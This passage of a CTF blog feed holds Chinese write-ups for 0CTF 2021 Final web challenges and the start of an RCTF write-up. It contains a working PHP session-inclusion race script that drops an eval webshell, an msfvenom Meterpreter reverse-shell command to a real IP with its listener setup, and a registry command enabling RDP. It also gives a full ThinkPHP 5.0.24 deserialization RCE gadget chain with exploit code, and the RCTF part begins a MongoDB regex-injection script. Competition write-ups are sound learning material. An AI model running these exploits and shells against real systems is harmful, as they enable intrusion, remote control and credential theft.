    <category term="Web" scheme="https://igml.top/categories/CTF/wp/Web/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/tags/Web/"/>
    
    <category term="wp" scheme="https://igml.top/tags/wp/"/>
    
  </entry>
  
  <entry>
    <title>2021 0CTF FINAL wp</title>
    <link href="https://igml.top/2021/09/28/2021-0CTF-FINAL/"/>
    <id>https://igml.top/2021/09/28/2021-0CTF-FINAL/</id>
    <published>2021-09-28T13:12:40.000Z</published>
    <updated>2021-09-29T12:15:14.748Z</updated>
    
    <content type="html"><![CDATA[<p>这周末是TCTF/0CTF决赛，而恰好周六是巅峰极客决赛，这几天还被拉去打教育hw，打完巅峰极客基本是双开的状态，打完感觉人也快废掉了。只看了两个Web（其他题基本也没啥做出来的可能），整理了下题解。</p><a id="more"></a><h2 id="win-win"><a href="#win-win" class="headerlink" title="win-win"></a>win-win</h2><p>windows+php8 环境，一行php。</p><p>第一天放了hint，<code>session.upload_progress=off</code>，看起来不能用session上传。</p><p>卡了很久，读不到什么有用的信息。这篇文章：<a href="https://blog.csdn.net/bylfsj/article/details/102771173">https://blog.csdn.net/bylfsj/article/details/102771173</a>提到windows下可以利用通配符进行包含。猜测题目由phpstudy、xampp等搭建，最后包含xampp的 <code>apache_start.bat</code>文件成功：<code>?win=..\..\t&lt;\apache_start.bat</code>。</p><p>读取php.ini文件：<code>?win=..\..\t&lt;\php\phpi.ini</code>，发现了路径：<code>C:\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\</code></p><p>根据xampp默认配置，临时文件路径：<code>C:\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\tmp\</code>。尝试session上传+包含，成功（远程环境可能配错了）。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> b64encode</span><br><span class="line"><span class="keyword">from</span> random <span class="keyword">import</span> sample, randint</span><br><span class="line"><span class="keyword">from</span> multiprocessing.dummy <span class="keyword">import</span> Pool <span class="keyword">as</span> ThreadPool</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&#x27;http://c39294ecfe15141c45c17c301e267eba.winwin.pwnable.org/?win=..\..\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\\tmp\sess_abc&#x27;</span></span><br><span class="line">sess_name = <span class="string">&#x27;abc&#x27;</span></span><br><span class="line"></span><br><span class="line">headers = &#123;</span><br><span class="line">    <span class="string">&#x27;Connection&#x27;</span>: <span class="string">&#x27;close&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;Cookie&#x27;</span>: <span class="string">&#x27;PHPSESSID=&#x27;</span> + sess_name</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;@&lt;?php echo &quot;gmmml&quot;;system(&quot;dir c:\\\\&quot;);file_put_contents(&quot;gml.php&quot;,base64_decode(&quot;PD9waHAgQGV2YWwoJF9QT1NUWyJnbWwiXSk7IGVjaG8gMTs/Pg==&quot;));?&gt;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">runner1</span>(<span class="params">i</span>):</span></span><br><span class="line">    data = &#123;</span><br><span class="line">        <span class="string">&#x27;PHP_SESSION_UPLOAD_PROGRESS&#x27;</span>: <span class="string">&#x27;ZZ&#x27;</span> + payload + <span class="string">&#x27;Z&#x27;</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">        fp = <span class="built_in">open</span>(<span class="string">&#x27;/etc/passwd&#x27;</span>, <span class="string">&#x27;rb&#x27;</span>)</span><br><span class="line">        r = requests.post(HOST, files=&#123;<span class="string">&#x27;f&#x27;</span>: fp&#125;, data=data, headers=headers)</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;gmmml&quot;</span> <span class="keyword">in</span> r.content:</span><br><span class="line">            <span class="built_in">print</span> r.content</span><br><span class="line">        fp.close()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">pool = ThreadPool(<span class="number">32</span>)</span><br><span class="line">result = pool.map_async( runner1, <span class="built_in">range</span>(<span class="number">100000</span>) ).get(<span class="number">0xffff</span>)</span><br></pre></td></tr></table></figure><p>getshell后，找不到flag。</p><p>本地生成msf马：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/meterpreter/reverse_tcp lhost=202.112.51.236 lport=5555 -f exe -o shell.exe</span><br></pre></td></tr></table></figure><p>服务器监听：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Use exploit/multi/handler</span><br><span class="line">Set payload windows/meterpreter/reverse_tcp</span><br><span class="line">Set lhost 0.0.0.0</span><br><span class="line">Set lport 5555</span><br><span class="line">Run</span><br></pre></td></tr></table></figure><p>getsystem提权，利用mimikatz抓密码，空的。<code>screenshot</code>没有权限。打开3389端口：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal<span class="string">&quot; &quot;</span>Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f</span><br></pre></td></tr></table></figure><p>修改administrator密码：</p><p><img src="/2021/09/28/2021-0CTF-FINAL/Untitled2.png" alt="Untitled2"></p><p>端口转发，3389连接，flag在桌面txt上没有保存：</p><p><img src="/2021/09/28/2021-0CTF-FINAL/Untitled3.png" alt="Untitled3"></p><h2 id="RevengePHP"><a href="#RevengePHP" class="headerlink" title="RevengePHP"></a>RevengePHP</h2><p>题目考查thinkphp5.0.24反序列化，把网上现有的链子给堵了：</p><p><code>thinkphp/library/think/console/Output.php</code>：</p><p><img src="/2021/09/28/2021-0CTF-FINAL/image-20210928211446948.png" alt="image-20210928211446948"></p><p>并且现有的链子是向web目录写shell，很显然这个题目还限制了web目录不可写。事实证明双保险是正确的，因为__wakeup并没有影响这条反序列化链。</p><p>因为之前一直没有分析过tp的反序列化链子，正好借着这个题从零学习了一波。这个题从第二天晚上11点开始看，审计到早上5点，实在是困得不行了，还要赶12点的飞机，直接睡了。赛后交流发现这个题解法不止一种（果然，日穿一个东西最简单的方法就是把他放到一场CTF里）</p><p>前面提到出题人添加了<code>__wakeup</code>方法来防止反序列化，其实<code>__wakeup</code>方法可以绕过，这个CTF中都被考烂了。但有趣的是，即使不进行绕过，事实上抛出异常也并不能阻止反序列化链子的向下执行。我把抛出异常替换成die也是一样的结果。</p><p>为了探究原因，开启调试，在<code>__wakeup</code>处下断点，成功断下来：</p><p><img src="/2021/09/28/2021-0CTF-FINAL/image-20210928215907004.png" alt="image-20210928215907004"></p><p>可以发现在执行到 __wakeup 的时候，所有的对象已经被成功反序列化（红框里所示）。此时我们点击运行下一步：</p><p><img src="/2021/09/28/2021-0CTF-FINAL/image-20210928220049890.png" alt="image-20210928220049890"></p><p>看到这里恍然大悟：抛出异常后程序会进入终止的逻辑，此时自然会进行对象销毁操作，而因为对象已经被成功反序列化，所以根本不会影响反序列化链的执行。</p><p>回到这个题目，虽然链子可以执行，但是web目录已经设置为不可写，所以同样需要另找链。</p><p>第一条RCE的链子同样是利用了<code>thinkphp/library/think/console/Output.php</code>中Output类的block方法，可以达到直接执行命令的效果，下面跟一下这条链。关于之前网上公开的thinkphp5.0.24的利用链，这里不过多赘述，不清楚的可以参考<a href="https://www.hacking8.com/bug-web/Thinkphp/Thinkphp-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/Thinkphp-5.0.24-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.html">这篇文章</a>学习一下。</p><p>在执行到<code>thinkphp/library/think/session/driver/Memcached.php</code>的write方法后，已有写shell的链子是利用了<code>/thinkphp/library/think/cache/driver/File.php</code>的set方法，这里我们利用<code>thinkphp/library/think/cache/driver/Memcache.php</code> 的set方法：</p><p><img src="/2021/09/28/2021-0CTF-FINAL/image-20210928221340093.png" alt="image-20210928221340093"></p><p>跟进 has 方法，这里的 name 变量是我们可控的变量和<code>&lt;getAttr&gt;xxx&lt;getAttr&gt;</code>拼接的结果。</p><p><img src="/2021/09/28/2021-0CTF-FINAL/image-20210928221511371.png" alt="image-20210928221511371"></p><p>getCachekey方法返回的 key可控，之后会调用 this-&gt;handler-&gt;get 方法，这里我们直接利用<code>thinkphp/library/think/Request.php</code>的get方法。如果对 thinkphp5 rce 漏洞有分析过的人可能会很熟悉，因为就是利用这个 Request 类进行 rce 的。后面反序列化 rce 的思路基本一样。</p><p>调用 this-&gt;input 方法：</p><p><img src="/2021/09/28/2021-0CTF-FINAL/image-20210928221834604.png" alt="image-20210928221834604"></p><p>进到input方法，调用 filterValue 方法。（filter变量由getFilter方法返回得到，可控。data变量也是由前面input类的 this-&gt;get 获得后进行一些操作，也可控）</p><p><img src="/2021/09/28/2021-0CTF-FINAL/image-20210928221932807.png" alt="image-20210928221932807"></p><p>进到 filterValue 方法，执行 call_user_func：</p><p><img src="/2021/09/28/2021-0CTF-FINAL/image-20210928222208656.png" alt="image-20210928222208656"></p><p>完成 RCE。整个调用栈：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">Request.php:1094, think\Request-&gt;filterValue()</span><br><span class="line">Request.php:1040, think\Request-&gt;input()</span><br><span class="line">Request.php:706, think\Request-&gt;get()</span><br><span class="line">Memcache.php:66, think\cache\driver\Memcache-&gt;has()</span><br><span class="line">Memcache.php:98, think\cache\driver\Memcache-&gt;set()</span><br><span class="line">Memcached.php:102, think\session\driver\Memcached-&gt;write()</span><br><span class="line">Output.php:154, think\console\Output-&gt;write()</span><br><span class="line">Output.php:143, think\console\Output-&gt;writeln()</span><br><span class="line">Output.php:124, think\console\Output-&gt;block()</span><br><span class="line">Output.php:212, call_user_func_array:&#123;thinkphp&#x2F;library&#x2F;think&#x2F;console&#x2F;Output.php:212&#125;()</span><br><span class="line">Output.php:212, think\console\Output-&gt;__call()</span><br><span class="line">Model.php:912, think\console\Output-&gt;getAttr()</span><br><span class="line">Model.php:912, think\model\Pivot-&gt;toArray()</span><br><span class="line">Model.php:936, think\model\Pivot-&gt;toJson()</span><br><span class="line">Model.php:2267, think\model\Pivot-&gt;__toString()</span><br><span class="line">Windows.php:163, file_exists()</span><br><span class="line">Windows.php:163, think\process\pipes\Windows-&gt;removeFiles()</span><br><span class="line">Windows.php:59, think\process\pipes\Windows-&gt;__destruct()</span><br></pre></td></tr></table></figure><p>exp：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">process</span>\<span class="title">pipes</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="title">class</span> <span class="title">Windows</span></span><br><span class="line">    &#123;</span><br><span class="line"></span><br><span class="line">        <span class="title">private</span> $<span class="title">files</span> = [];</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$files</span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">$this</span>-&gt;files = [$files]; <span class="comment">//$file =&gt; /think/Model的子类new Pivot(); Model是抽象类</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="title">abstract</span> <span class="title">class</span> <span class="title">Model</span></span><br><span class="line">    &#123;</span><br><span class="line"></span><br><span class="line">        <span class="title">protected</span> $<span class="title">append</span> = [];</span><br><span class="line">        <span class="keyword">protected</span> $error = <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">public</span> $parent;</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$output, $modelRelation</span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">$this</span>-&gt;parent = $output;  <span class="comment">//$this-&gt;parent=&gt; think\console\Output;</span></span><br><span class="line">            <span class="keyword">$this</span>-&gt;append = <span class="keyword">array</span>(<span class="string">&quot;xxx&quot;</span> =&gt; <span class="string">&quot;getError&quot;</span>);     <span class="comment">//调用getError 返回this-&gt;error</span></span><br><span class="line">            <span class="keyword">$this</span>-&gt;error = $modelRelation;               <span class="comment">// $this-&gt;error 要为 relation类的子类，并且也是OnetoOne类的子类==&gt;&gt;HasOne</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">Request</span></span></span><br><span class="line"><span class="class">    </span>&#123;</span><br><span class="line">        <span class="keyword">protected</span> $get = [<span class="string">&#x27;gml&#x27;</span> =&gt; <span class="string">&#x27;whoami&#x27;</span>]; </span><br><span class="line">        <span class="keyword">protected</span> $filter = [<span class="string">&#x27;system&#x27;</span>, <span class="string">&#x27;a&#x27;</span>];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">model</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="title">use</span> <span class="title">think</span>\<span class="title">Model</span>;</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">Pivot</span> <span class="keyword">extends</span> <span class="title">Model</span></span></span><br><span class="line"><span class="class">    </span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$output, $modelRelation</span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line"></span><br><span class="line">            <span class="built_in">parent</span>::__construct($output, $modelRelation);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">relation</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="title">class</span> <span class="title">HasOne</span> <span class="title">extends</span> <span class="title">OneToOne</span></span><br><span class="line">    &#123;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="title">abstract</span> <span class="title">class</span> <span class="title">OneToOne</span></span><br><span class="line">    &#123;</span><br><span class="line"></span><br><span class="line">        <span class="title">protected</span> $<span class="title">selfRelation</span>;</span><br><span class="line">        <span class="keyword">protected</span> $bindAttr = [];</span><br><span class="line">        <span class="keyword">protected</span> $query;</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$query</span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">$this</span>-&gt;selfRelation = <span class="number">0</span>;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;query = $query;    <span class="comment">//$query指向Query</span></span><br><span class="line">            <span class="keyword">$this</span>-&gt;bindAttr = [<span class="string">&#x27;xxx&#x27;</span>];<span class="comment">// $value值，作为call函数引用的第二变量</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">db</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="title">class</span> <span class="title">Query</span></span><br><span class="line">    &#123;</span><br><span class="line"></span><br><span class="line">        <span class="title">protected</span> $<span class="title">model</span>;</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$model</span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">$this</span>-&gt;model = $model; <span class="comment">//$this-&gt;model=&gt; think\console\Output;</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">console</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="title">use</span> <span class="title">think</span>\<span class="title">session</span>\<span class="title">driver</span>\<span class="title">Memcached</span>;</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">Output</span></span></span><br><span class="line"><span class="class">    </span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">private</span> $handle;</span><br><span class="line">        <span class="keyword">protected</span> $styles;</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">$this</span>-&gt;styles = [<span class="string">&#x27;getAttr&#x27;</span>];</span><br><span class="line">            <span class="keyword">$this</span>-&gt;handle = <span class="keyword">new</span> Memcached(); <span class="comment">//$handle-&gt;think\session\driver\Memcached</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">session</span>\<span class="title">driver</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="title">use</span> <span class="title">think</span>\<span class="title">cache</span>\<span class="title">driver</span>\<span class="title">Memcache</span>;</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">Memcached</span></span></span><br><span class="line"><span class="class">    </span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">protected</span> $handler;</span><br><span class="line">        <span class="keyword">protected</span> $config = [</span><br><span class="line">            <span class="string">&#x27;session_name&#x27;</span> =&gt; <span class="string">&#x27;//&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;expire&#x27;</span> =&gt; <span class="string">&#x27;1&#x27;</span></span><br><span class="line">        ];</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">$this</span>-&gt;handler = <span class="keyword">new</span> Memcache();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">cache</span>\<span class="title">driver</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="title">use</span> <span class="title">think</span>\<span class="title">Request</span>;</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">Memcache</span></span></span><br><span class="line"><span class="class">    </span>&#123;</span><br><span class="line">        <span class="keyword">protected</span> $handler;</span><br><span class="line">        <span class="keyword">protected</span> $tag = <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">protected</span> $options = [<span class="string">&#x27;prefix&#x27;</span> =&gt; <span class="string">&#x27;gml/&#x27;</span>];</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;handler = <span class="keyword">new</span> Request();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> &#123;</span><br><span class="line">    $<span class="title">Output</span> = <span class="title">new</span> <span class="title">think</span>\<span class="title">console</span>\<span class="title">Output</span>();</span><br><span class="line">    $model = <span class="keyword">new</span> think\db\Query($Output);</span><br><span class="line">    $HasOne = <span class="keyword">new</span> think\model\relation\HasOne($model);</span><br><span class="line">    $window = <span class="keyword">new</span> think\process\pipes\Windows(<span class="keyword">new</span> think\model\Pivot($Output, $HasOne));</span><br><span class="line">    <span class="keyword">echo</span> urlencode(serialize($window));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;这周末是TCTF/0CTF决赛，而恰好周六是巅峰极客决赛，这几天还被拉去打教育hw，打完巅峰极客基本是双开的状态，打完感觉人也快废掉了。只看了两个Web（其他题基本也没啥做出来的可能），整理了下题解。&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="wp" scheme="https://igml.top/categories/CTF/wp/"/>
    
    <category term="Web" scheme="https://igml.top/categories/CTF/wp/Web/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/tags/Web/"/>
    
    <category term="wp" scheme="https://igml.top/tags/wp/"/>
    
  </entry>
  
  <entry>
    <title>2021 RCTF 部分Web题解</title>
    <link href="https://igml.top/2021/09/13/2021-RCTF/"/>
    <id>https://igml.top/2021/09/13/2021-RCTF/</id>
    <published>2021-09-13T05:47:23.000Z</published>
    <updated>2021-09-13T08:53:39.826Z</updated>
    
    <content type="html"><![CDATA[<p>这周末本来有报告ddl，说好的不打，结果还是忍不住去看了题（ROIS的Web每年评价都不错）… 打了两天，时间大部分浪费在了两个sql题目上。队里也没啥人打，一共打比赛的就四个人。</p><a id="more"></a><h1 id="CandyShop"><a href="#CandyShop" class="headerlink" title="CandyShop"></a>CandyShop</h1><p>首先是Mongodb 注入，可以注入出密码。</p><p>后面pug模版渲染，address处可以拼接代码，但是没有require，构造成下面这种：</p><p><img src="/2021/09/13/2021-RCTF/Untitled.png" alt="Untitled"></p><p>注意要有缩进，不然会报错很坑。我本地起了个环境，调试了一会才可以。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">session = requests.Session()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">req</span>(<span class="params">password</span>):</span></span><br><span class="line">    paramsPostDict = &#123;<span class="string">&quot;password[\x24regex]&quot;</span>: password, <span class="string">&quot;username[\x24regex]&quot;</span>: <span class="string">&quot;rabbit&quot;</span>&#125;</span><br><span class="line">    paramsPost = <span class="string">&quot;&amp;&quot;</span>.join(</span><br><span class="line">        <span class="string">&quot;%s=%s&quot;</span> % (k, v) <span class="keyword">for</span> k, v <span class="keyword">in</span> paramsPostDict.items())  <span class="comment"># Manually concatenated to avoid some encoded characters</span></span><br><span class="line">    headers = &#123;<span class="string">&quot;Origin&quot;</span>: <span class="string">&quot;http://123.60.21.23:23333&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Cache-Control&quot;</span>: <span class="string">&quot;max-age=0&quot;</span>, <span class="string">&quot;Upgrade-Insecure-Requests&quot;</span>: <span class="string">&quot;1&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Referer&quot;</span>: <span 